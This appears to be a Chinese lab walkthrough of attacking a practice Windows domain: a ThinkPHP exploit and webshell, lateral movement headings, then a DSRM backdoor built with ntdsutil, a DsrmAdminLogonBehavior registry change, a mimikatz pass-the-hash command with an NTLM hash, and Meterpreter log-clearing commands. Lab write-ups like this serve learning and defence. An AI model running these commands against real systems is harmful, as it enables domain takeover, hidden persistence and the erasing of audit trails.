环境搭建

image-20230427221142534

image-20230427210728770 image-20230427210751789
1
2
win7:  sun\Administrator dc123.com   sun\leo 123.com
DC: sun\admin 2020.com

win7打开phpstudy

image-20230427214612580 image-20230427214502206

网站渗透

image-20230427220904612

使用工具检测thinkPHP框架漏洞

image-20230427214808075 image-20230427215650596

上传一句话木马,蚁剑连接

image-20230427221859713

内网渗透

信息收集
横向移动
psexec
MS17-010
登录远程桌面
权限维持
DSRM后门

DSRM是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账号(也就是DSRM账号)。DSRM的用途是:允许管理员在域环境出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行 ntdsutil 命令。在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。每个DC都有本地管理员(administrator)账号和密码(与域管理员账号密码不同)。DSRM账号可以作为每个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。注意该类持久化操作适用的服务器版本: Windows Server 2008及之后版本的Windows服务器

在域控制器上,DSRM账号的表现形式是本地的管理员 Administrator 用户,也就是说本地管理员 Administrator 用户等于DSRM账号

首先,为 DSRM 账号设置新密码。在域控制器(Windows 2008)的cmd中进入ntdsutil,然后修改DSRM账户的密码

1
2
3
4
5
6
7
ntdsutil    // 进入ntdsutil
set dsrm password // 设置DSRM账户的密码
reset password on server null // 在当前域控制器上恢复DSRM密码
<password> // 输入新密码
<password> // 重新输入新密码
q //退出DSRM密码设置模式
q // 退出ntdsutil

image-20210701162006415

然后再使用kiwi抓取ntml hash

image-20210701162155798

然后修改域控主机的DSRM账户登录方式。在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制。我们可以在注册表的HKLM:\System\CurrentControlSet\Control\Lsa\中新建DsrmAdminLogonBehavior项进行设置,将该新建的项中的值设为0、1、2可以分别设置不同的DSRM账户登录方式:

0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号

1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器

2:在任何情况下,都可以使用DSRM管理员账号登录域控制器

如下所示,用powershell命令将DSRM的登录方式设置为”2”,即在任何情况下都可以使用DSRM管理员账号登录域控制器

1
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -name "DsrmAdminLogonBehavior" -value 2 -propertyType DWORD

image-20210701162543220

使用win7上的mimikatz进行hash传递即可获取到域控权限

1
2
privilege::Debug
sekurlsa::pth /domain:WIN-K6S18HH1766 /user:administrator /ntlm:a812e6c2defcb0a7b80868f9f3c88d09
日志清除

使用kali自带的命令进行日志清除

1
2
run event_manager -i
run event_manager -c
image-20230427232916543 image-20230427232919066